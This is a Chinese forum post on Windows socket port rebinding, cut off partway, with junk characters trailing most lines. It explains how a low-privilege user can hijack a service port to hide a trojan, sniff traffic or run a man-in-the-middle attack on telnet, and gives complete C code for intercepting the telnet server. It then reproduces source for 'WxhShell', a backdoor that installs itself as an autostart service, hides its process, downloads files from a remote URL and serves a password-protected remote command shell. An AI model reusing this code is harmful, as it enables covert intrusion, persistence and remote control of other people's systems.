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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Yb'%J@T}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <"7Wb"+  
)OFf nKh  
  saddr.sin_family = AF_INET; &p55Cg@e)  
2hb>6Z;r]K  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !@FzP@  
9ol&p>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !" @<!  
 y`pgJO  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2WB`+oWox  
uFfk!  
  这意味着什么?意味着可以进行如下的攻击: w|-m*v .  
1#|qT7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 OK \9`  
OS=~<ba  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +O7GgySx  
TjjR% 3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a@C}0IP)  
v `;Hd8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Dp?lgw  
9e;:(jl^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L^Fb;sJYI  
BoHNni  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L$@qEsO  
K!v\r"N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )~ ^`[`  
r>6FJ:Tx  
  #include P6`LUyz3  
  #include ~pwk[Q!  
  #include $?DEO[p.  
  #include    FW3uq^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $|I hO  
  int main() {O4&HW%  
  { R?#.z#  
  WORD wVersionRequested; ;Ao`yC2(v  
  DWORD ret; b.cBg.a  
  WSADATA wsaData; m:cWnG  
  BOOL val; C-&s$5MzGb  
  SOCKADDR_IN saddr; aX*7tRn_%  
  SOCKADDR_IN scaddr; {`9J8qRY  
  int err; y]uBVn'u  
  SOCKET s; -gv[u,R  
  SOCKET sc; UryHte  
  int caddsize; Qa"4^s  
  HANDLE mt; 5-:H  
  DWORD tid;   yp< )v(8|'  
  wVersionRequested = MAKEWORD( 2, 2 ); tQ)l4Y 8  
  err = WSAStartup( wVersionRequested, &wsaData ); ,v#3A7"yW  
  if ( err != 0 ) { 4H`B]Zt7  
  printf("error!WSAStartup failed!\n"); 07>D G#  
  return -1; %z-n2%  
  } g+-^6UG  
  saddr.sin_family = AF_INET; /&5:v%L  
   Gyc _B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -5@hU8B'a  
va!fJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v3cLU7bi?2  
  saddr.sin_port = htons(23); ;6`7 \  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xN6}4JB  
  { ?&POVf>  
  printf("error!socket failed!\n"); ,t39~w  
  return -1; ~l*[=0}  
  } 1vCVTuRF  
  val = TRUE; s 4n<k]d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Sy^@v%P'A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n%6=w9.%c  
  { n`p/;D=?  
  printf("error!setsockopt failed!\n"); _$KkSMA~_  
  return -1; ^CB@4$!   
  } Iz&<rL;s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  ;ih;8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )9+H[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Xet} J@C  
J$ &2GAi  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Kp6%=JjO  
  { 4r9AUmJqw  
  ret=GetLastError(); L tK,_j  
  printf("error!bind failed!\n"); +>:[irf  
  return -1; aQV?}  
  } gKRlXVS  
  listen(s,2); v5.KCc}"  
  while(1) unyU|B  
  { _w7yfZLv+  
  caddsize = sizeof(scaddr); :*J!  
  //接受连接请求 i$H9~tPs  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `(~oZbErM  
  if(sc!=INVALID_SOCKET) vh^?M#\  
  { T|uG1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3*oZol/  
  if(mt==NULL) ]F"@+_E  
  { m2Wi "X(I_  
  printf("Thread Creat Failed!\n"); ephvvj~zW4  
  break; I%CrsEo  
  } |43Oc:Ah+  
  } qG#ZYcVec  
  CloseHandle(mt); JC7:0A^  
  } Lo}zT-F  
  closesocket(s); ex|h&Vma2V  
  WSACleanup(); Y\E7nll:.  
  return 0; A#]78lR  
  }   9M@,BXOt  
  DWORD WINAPI ClientThread(LPVOID lpParam) KuMH,rXF  
  { ^N O4T  
  SOCKET ss = (SOCKET)lpParam; [f=Y*=u9,  
  SOCKET sc; Dc0CQGx9b  
  unsigned char buf[4096]; ccy q~  
  SOCKADDR_IN saddr; cPX^4d~9  
  long num; H_w?+Rig  
  DWORD val; iXqRX';F'}  
  DWORD ret; B\+uRiD8w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0Q[;{}W}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F:LrQu  
  saddr.sin_family = AF_INET; BVS SO's  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fRp(&%8E  
  saddr.sin_port = htons(23);  Rp6q)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2j$~lI  
  { x}#N?d  
  printf("error!socket failed!\n"); G'{&*]Z\:  
  return -1; _U Y5  
  } DDZnNSo<JQ  
  val = 100; &a'LOq+r'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]6,D 9^{;  
  { @%r "7%tq>  
  ret = GetLastError(); mcxD#+H 3  
  return -1; rv2;)3/*  
  } 54oJ MW9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >".@;  
  { z<8VJZd  
  ret = GetLastError(); T/jxsIt3  
  return -1; x|g2H.n  
  } Q|G|5X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X#o;`QM  
  { P[r$KGz  
  printf("error!socket connect failed!\n"); IaO*{1re  
  closesocket(sc); :)%cL8Nz]$  
  closesocket(ss); hz5t/E  
  return -1; ^grDP*;W  
  } c,#Nd@  
  while(1)  gOy{ RE  
  { JX`>N(K4\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fr&p0)85>B  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (*\y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u/FC\xJc  
  num = recv(ss,buf,4096,0); 2m9qg-W  
  if(num>0) D[{"]=-  
  send(sc,buf,num,0); "e/"$z'ca  
  else if(num==0) M%s!qC+  
  break; e1hf{:&/G@  
  num = recv(sc,buf,4096,0); L+0:'p=  
  if(num>0) ,_K:DSiB  
  send(ss,buf,num,0); ?',Wn3A  
  else if(num==0) W!1 B~NH#  
  break; Sp]ov:]%f  
  } ri4:w_/{,Y  
  closesocket(ss); m<!CF3g  
  closesocket(sc); ,I:[-|Q  
  return 0 ; AG"iS<u  
  } {ea*dX872:  
JvS ~.g1  
wV,=hMTd&\  
========================================================== 1+Vei<H$  
?i}wm`  
下边附上一个代码,,WXhSHELL C}\kp0mz  
MI~Q Xy,  
========================================================== CS0q#?  
'lmjZ{k  
#include "stdafx.h" |RDE/  
#q8/=,3EG  
#include <stdio.h> 8DFq eY0S  
#include <string.h> ,/[1hhP@  
#include <windows.h> Uh^j;s\y  
#include <winsock2.h> @9\E  
#include <winsvc.h> ZL9|/ PY  
#include <urlmon.h> UN:cRH{?*  
U[:Js@uH_  
#pragma comment (lib, "Ws2_32.lib") \3)U~[O>:  
#pragma comment (lib, "urlmon.lib") eYPIZ{S7h  
f?"909&  
#define MAX_USER   100 // 最大客户端连接数 <lWBhrz  
#define BUF_SOCK   200 // sock buffer w7~&Xxa/  
#define KEY_BUFF   255 // 输入 buffer LtNspFoLb  
,u14R]  
#define REBOOT     0   // 重启 qnO/4\qq  
#define SHUTDOWN   1   // 关机 Q|f)Awe$  
u2*."W\  
#define DEF_PORT   5000 // 监听端口 2gnz=  
;!EEzR.  
#define REG_LEN     16   // 注册表键长度 o^u}(wZ{  
#define SVC_LEN     80   // NT服务名长度 :BblH0'  
U)1hC^[!   
// 从dll定义API cN)noGkp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UO-,A j*wW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t_qX7P8+'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oB+@05m8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +Xmza8T9  
M*F`s& vM  
// wxhshell配置信息 "p&4Sn3T2?  
struct WSCFG { @>[3 [;  
  int ws_port;         // 监听端口 5 gwEr170  
  char ws_passstr[REG_LEN]; // 口令 Bc}e ??F  
  int ws_autoins;       // 安装标记, 1=yes 0=no MA v-#  
  char ws_regname[REG_LEN]; // 注册表键名 T"E%;'(cp)  
  char ws_svcname[REG_LEN]; // 服务名 ?q"9ZYX<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EtDzmpJR>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `>`{DEDx{5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9A}nZ1Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?)4c!3#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'zuA3$SR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Chtls;Ph[  
K ?V' ?s  
}; >F/5`=/'h  
#F+b^WTR  
// default Wxhshell configuration 7] 17?s]t,  
struct WSCFG wscfg={DEF_PORT, i\\,Z L  
    "xuhuanlingzhe", 5I5#LQv0  
    1, (M%ZSF V  
    "Wxhshell", ] -G~  
    "Wxhshell", ~-NlTx  
            "WxhShell Service", _i0,?U2C  
    "Wrsky Windows CmdShell Service", z4(Q.0x7  
    "Please Input Your Password: ", J8h H#7WMS  
  1, !(qaudX{>k  
  "http://www.wrsky.com/wxhshell.exe", ( z.\,M  
  "Wxhshell.exe" M\=/i\-  
    }; L%4Do*V&  
tVAH\*a,/  
// 消息定义模块 G88g@Exk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C-VkXk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;3N>m| ?D=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Fx@@.O6  
char *msg_ws_ext="\n\rExit."; 5i&+.?(Z=  
char *msg_ws_end="\n\rQuit."; }I#,o!)Vd  
char *msg_ws_boot="\n\rReboot..."; B6]M\4v  
char *msg_ws_poff="\n\rShutdown..."; Ndqhc  
char *msg_ws_down="\n\rSave to "; gK- $y9]~+  
= p$:vW  
char *msg_ws_err="\n\rErr!"; +q)B4A'J!  
char *msg_ws_ok="\n\rOK!"; G+jcR; s  
sTF Ru  
char ExeFile[MAX_PATH]; 8f-B-e?k  
int nUser = 0; r`d.Wy Zj  
HANDLE handles[MAX_USER]; 1EA}[x  
int OsIsNt; 2]-xmS>|b  
;O * o  
SERVICE_STATUS       serviceStatus; =VDtZSa!$^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t+ O7dZt%r  
iCZ1ARi  
// 函数声明 <Z9N}wY,8  
int Install(void); oA $]%  
int Uninstall(void); .5?Md  
int DownloadFile(char *sURL, SOCKET wsh); /N\[ C"8  
int Boot(int flag); Mj-B;r  
void HideProc(void); B}2 JK9  
int GetOsVer(void); j?9fb  
int Wxhshell(SOCKET wsl); $eUJd Aetk  
void TalkWithClient(void *cs); (%f2ZNen  
int CmdShell(SOCKET sock); gAViwy9{  
int StartFromService(void); wMru9zyI  
int StartWxhshell(LPSTR lpCmdLine); }e0)=*;l  
k6W  [//  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ixIfJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 334tg'2]  
<)$b=z  
// 数据结构和表定义 jCv%[H7  
SERVICE_TABLE_ENTRY DispatchTable[] = 8gI~x.k`  
{ Qg4g(0E@  
{wscfg.ws_svcname, NTServiceMain}, (.54`[2+L  
{NULL, NULL} h> A}vI*:  
}; q<*UeyE S  
+idp1SJ4  
// 自我安装 H@pF3gh  
int Install(void) 9a0ibN6m  
{ .|9o`mF7  
  char svExeFile[MAX_PATH]; CNF3".a  
  HKEY key; pUXszPf  
  strcpy(svExeFile,ExeFile); 8]-c4zK  
KF4}cM=.5  
// 如果是win9x系统,修改注册表设为自启动 X[ up$<  
if(!OsIsNt) { 5W=jQ3 C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2pQdDbm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G.#sX  
  RegCloseKey(key); b#[7A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8o4?mhqV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^`XTs!.  
  RegCloseKey(key); P1f@?R&t+  
  return 0; %1oG<s  
    } Us*"g{PQ  
  } ($ l t@j  
} 4S+sz?W2j  
else { =-U8^e_Y  
zU$S#4/C  
// 如果是NT以上系统,安装为系统服务 5*W<6ia  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o1(?j}:c|  
if (schSCManager!=0) R |h(SXa  
{ QirS=H+~  
  SC_HANDLE schService = CreateService ^E3i]Oem  
  ( "dO>P*k,  
  schSCManager, M:? :EJ  
  wscfg.ws_svcname, {v>orP?  
  wscfg.ws_svcdisp, $rG~0  
  SERVICE_ALL_ACCESS, .:)nG(7f<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )D1=jD(  
  SERVICE_AUTO_START, ,B=;NKo  
  SERVICE_ERROR_NORMAL, ^cy.iolt  
  svExeFile, ucVn `  
  NULL, X^;LiwQv  
  NULL, zz 1e)W/  
  NULL, ~3u'=u9l  
  NULL, }L1 -2  
  NULL &CEZ+\bA  
  ); 1hQeuG  
  if (schService!=0) A=5A8B1  
  { hn bF}AD  
  CloseServiceHandle(schService); JNYFu0  
  CloseServiceHandle(schSCManager); *75?%l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ))qOsphN  
  strcat(svExeFile,wscfg.ws_svcname); g}\Yl.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6fOh *  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )K0BH q7r  
  RegCloseKey(key); .jfkOt?2  
  return 0; # ~SQujgB  
    } RI q9wD}4(  
  } $O/@bh1@p  
  CloseServiceHandle(schSCManager); \!["U`\.K  
} (KF=v31_m  
} OEN!~-u  
UaQR0,#0y  
return 1; J,bE[52  
} Z,~EH  
O#e'.n!rI  
// 自我卸载 Ris5) *7  
int Uninstall(void) zMUifMiAj  
{ YRy5.F%?  
  HKEY key; 3\xvy{r  
G@O~*k1v  
if(!OsIsNt) { w1je|Oil  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @GB~rfB[  
  RegDeleteValue(key,wscfg.ws_regname); p)$DpNL% p  
  RegCloseKey(key); L;7x2&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u H}cvshv  
  RegDeleteValue(key,wscfg.ws_regname); #N=!O/Y  
  RegCloseKey(key); XL/?v" /  
  return 0; 8}& O7zO?  
  } 5 ,0fL  
} RE72%w(oM  
} [ ET03 nZ  
else { wX_s./#JJ  
O;u&>BMk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ? (&)p~o  
if (schSCManager!=0) wgK:^D P  
{ E6{|zF/3'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +w ;2kw  
  if (schService!=0) ;'.[h*u~<  
  { &ggS!y'n  
  if(DeleteService(schService)!=0) { Q)\~=/L b  
  CloseServiceHandle(schService); =kp-[7  
  CloseServiceHandle(schSCManager); u;fD4CA  
  return 0; ay\e# )  
  } X\r?g  
  CloseServiceHandle(schService); bp06xHMu  
  } %"2 ;i@  
  CloseServiceHandle(schSCManager); ~bp^Q| wM  
} Vf67gux  
} ,;aELhMZ  
n5Ad@Bg  
return 1; K5O#BBX=  
} <<zYF.9L]  
3|=9aM^x^  
// 从指定url下载文件 y#'|=0vTvP  
int DownloadFile(char *sURL, SOCKET wsh) 9oly=&lJ  
{ 6]=$c<.&  
  HRESULT hr; ;]* %wX  
char seps[]= "/"; r sf +dC  
char *token; STDT]3.  
char *file; @z8,XW }  
char myURL[MAX_PATH]; !ejLqb  
char myFILE[MAX_PATH]; oUMY?[Wp  
<,%qt_ !  
strcpy(myURL,sURL); i1qhe?5  
  token=strtok(myURL,seps); }B=`nbgIG7  
  while(token!=NULL) 01n5]^.p  
  { @`&kn;7T  
    file=token; xef@-%mcoy  
  token=strtok(NULL,seps); (Kl96G<Wej  
  } [b-wak})aD  
A.a UWh  
GetCurrentDirectory(MAX_PATH,myFILE); ;naD`([  
strcat(myFILE, "\\"); W0 n/B &C  
strcat(myFILE, file); 5&WYL  
  send(wsh,myFILE,strlen(myFILE),0); ={[s)G  
send(wsh,"...",3,0); |!VSed#FSn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KLpe!8tAe  
  if(hr==S_OK) wAC*D=Qj  
return 0; }%K)R 5C  
else x>5"7MR`  
return 1; Nf.6:=  
|{ E\ 2U  
} 7B@[`>5?%L  
_`4jzJ*  
// 系统电源模块 1]wx Ru  
int Boot(int flag) C-Q]f  
{ gxry?':  
  HANDLE hToken; Q;]g9T[)  
  TOKEN_PRIVILEGES tkp; Xr54/.{&@  
%d<uOCf\Q  
  if(OsIsNt) { %A@Q%l6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %E\&9,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =YZyH4eI  
    tkp.PrivilegeCount = 1; <ob+Ano$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [ D[&aA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RrMC[2=  
if(flag==REBOOT) { II !Nr{A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A#:5b5R  
  return 0; so~vnSQ!x  
} pkd#SY  
else { )sWC5\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RQzcsO  
  return 0; !+qy~h  
} 9|Z25_sS  
  } "c[ D 0{\{  
  else { N1dp%b9W(  
if(flag==REBOOT) { U#=Q`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kHj|:,'sV  
  return 0; ^a=,,6T  
} !!NVx\a  
else { +bi%4DA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~-r*2bR  
  return 0; Q fI =  
} P'^#I[G'  
} qla$}dnvc  
Im9^mVe  
return 1; -"u9s[L{  
} 0~qnwe[g}  
`(j}2X'[  
// win9x进程隐藏模块 Vx1xULdY  
void HideProc(void) }@-4*5P3  
{ Pb05>J3N  
a?]Ow J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [[{y?-U  
  if ( hKernel != NULL ) J%ym1A9  
  { >L6V!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lNtZd?=>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y}NBJ  
    FreeLibrary(hKernel); V#!ftu#c?  
  } V,=V   
9p ;)s  
return; Eeem y*U  
} /aa'ryl_%  
p9*#{~   
// 获取操作系统版本 v1 h*/#  
int GetOsVer(void) \M4/?<g  
{ ZU%7m_zO  
  OSVERSIONINFO winfo; $i@~$m7d-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u_.`I8qa  
  GetVersionEx(&winfo); W(N@`^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tWkD@w`Lnn  
  return 1; w{$t:l)2,  
  else 9OYsI  
  return 0; q.L0rY!  
} jBexEdH  
9;3f`DK@2k  
// 客户端句柄模块 [eV!ho*r  
int Wxhshell(SOCKET wsl) .VF4?~+M-  
{ Rg! [ic !  
  SOCKET wsh; 9)={p9FZY  
  struct sockaddr_in client; yw'b^D/  
  DWORD myID; a}l^+  
so h3 d  
  while(nUser<MAX_USER) E7E>w#T5  
{ ?`?"j<4e  
  int nSize=sizeof(client); "7_6iB&@<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {Z<4  
  if(wsh==INVALID_SOCKET) return 1; J[fjl 6p  
kb>:M.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GJW>8*&&(  
if(handles[nUser]==0) 0tVZvXgTu  
  closesocket(wsh); A-:58Qau+  
else )cc:Z7p  
  nUser++; =>".  
  } Mfjj+P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ; 2K_u  
m_~!Lj[u.  
  return 0; WlnmW(uahW  
} *7<5 G{  
&CW,qY,sh  
// 关闭 socket T 'pX)ZH  
void CloseIt(SOCKET wsh) R[>fT}Lo  
{ mXnl-_  
closesocket(wsh); xcfEL_'o  
nUser--; fw@n[u{~  
ExitThread(0); D_r&B@4w  
} ] dB6--  
>pjmVl w?  
// 客户端请求句柄 der'<Q.U:k  
void TalkWithClient(void *cs) zrYhx!@  
{ gV]]?X&  
h32QEz-+  
  SOCKET wsh=(SOCKET)cs; ,a&N1G.  
  char pwd[SVC_LEN]; 3B:U>F,]4  
  char cmd[KEY_BUFF]; ML?%s`   
char chr[1]; 8/X#thG  
int i,j; 5I9~OJ>  
BE/#=$wPjM  
  while (nUser < MAX_USER) { 47s<xQy  
jt-Cy  
if(wscfg.ws_passstr) { NqcmjHvy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;pu68N(B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G v(bD6Rz  
  //ZeroMemory(pwd,KEY_BUFF); mB &nN+MV  
      i=0; jO\29(_  
  while(i<SVC_LEN) { BG!;9Z{u  
M^I*;{w6i  
  // 设置超时 (h>Jz  
  fd_set FdRead; B,?Fjot#m  
  struct timeval TimeOut; %KL"f  
  FD_ZERO(&FdRead); sU"D%G  
  FD_SET(wsh,&FdRead); '3S S%W  
  TimeOut.tv_sec=8; Nx>WOb98  
  TimeOut.tv_usec=0; |r*btyOJk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !<\"XxK+l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )%'Lm  
}Th":sin},  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1(6B|w5+  
  pwd=chr[0]; sdP% Y<eAT  
  if(chr[0]==0xd || chr[0]==0xa) { kgfOH.P  
  pwd=0; 6||zwwk'.  
  break; T;D`=p#  
  }  |/K+tH  
  i++; m[S6pqz  
    } b5u_x_us|  
kGhWr M  
  // 如果是非法用户,关闭 socket Oq~>P!=   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1;E[Ml  
} `M?C(  
]eA<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p-n_ ">7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *yp}#\rk  
<4s$$Uw}6%  
while(1) { [oN}zZP]  
m)4s4P57y  
  ZeroMemory(cmd,KEY_BUFF); X;ef&n`U0  
V&4)B &W  
      // 自动支持客户端 telnet标准   L12m ;  
  j=0; zA[6rYXY  
  while(j<KEY_BUFF) { }Y\Ayl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b%>vhj&F  
  cmd[j]=chr[0]; xi=Z<G  
  if(chr[0]==0xa || chr[0]==0xd) { s>`$]6wPa  
  cmd[j]=0; D&_Ir>"\  
  break;  Qj(q)!Ku  
  } 5_";EED  
  j++; %v=z|d5-3  
    } Th,15H DA  
U085qKyCw  
  // 下载文件 )qs>Z?7  
  if(strstr(cmd,"http://")) { UlQZw*ce  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J<dr x_gc  
  if(DownloadFile(cmd,wsh)) b*=eMcd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m}w~ d /  
  else *44^M{ti<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w^tNYN,i  
  } Rb=T'x'  
  else { }{;m:Iia_  
FEgM4m.(G<  
    switch(cmd[0]) { ^ sIxR*C[v  
  ,lSt}Lml  
  // 帮助 cy|]}n85  
  case '?': { [/ uqH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bnBnE[y<'  
    break; FyYD7E  
  } 7eb^^a?  
  // 安装 HN,E+ dQ  
  case 'i': { 2= FGZa*.  
    if(Install()) s,>_kxuX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 _0j^oh  
    else mKY}+21!Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7z!|sPW](b  
    break; @!/w'k 8  
    } 1(0LX^%  
  // 卸载 ZrJAfd\5c  
  case 'r': { >mRA|0$  
    if(Uninstall()) l6ayV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nQ>?{"  
    else bqpy@WiI S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |x*~PXb  
    break; bL\ab  
    } $%!'c# F  
  // 显示 wxhshell 所在路径 &~oBJar  
  case 'p': { 8'J"+TsOW  
    char svExeFile[MAX_PATH]; l;^Id#N  
    strcpy(svExeFile,"\n\r"); ?)<DEu:Y  
      strcat(svExeFile,ExeFile); !-1UJqO  
        send(wsh,svExeFile,strlen(svExeFile),0); gj{2" tE  
    break; $%9.qy\8  
    } @]yd Wd  
  // 重启 ``?] 13XjK  
  case 'b': { (VeX[*}I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q_PxmPE@3v  
    if(Boot(REBOOT)) M3- bFIt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rn6;@Cw  
    else { v|Y:'5`V  
    closesocket(wsh); Y?G9d6]Lk6  
    ExitThread(0); >jxo,xz  
    } %D|p7&  
    break; (ZR+(+i,  
    } $g? ]9}p  
  // 关机 9UlR fl  
  case 'd': { LbX>@2(&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e7X#C)  
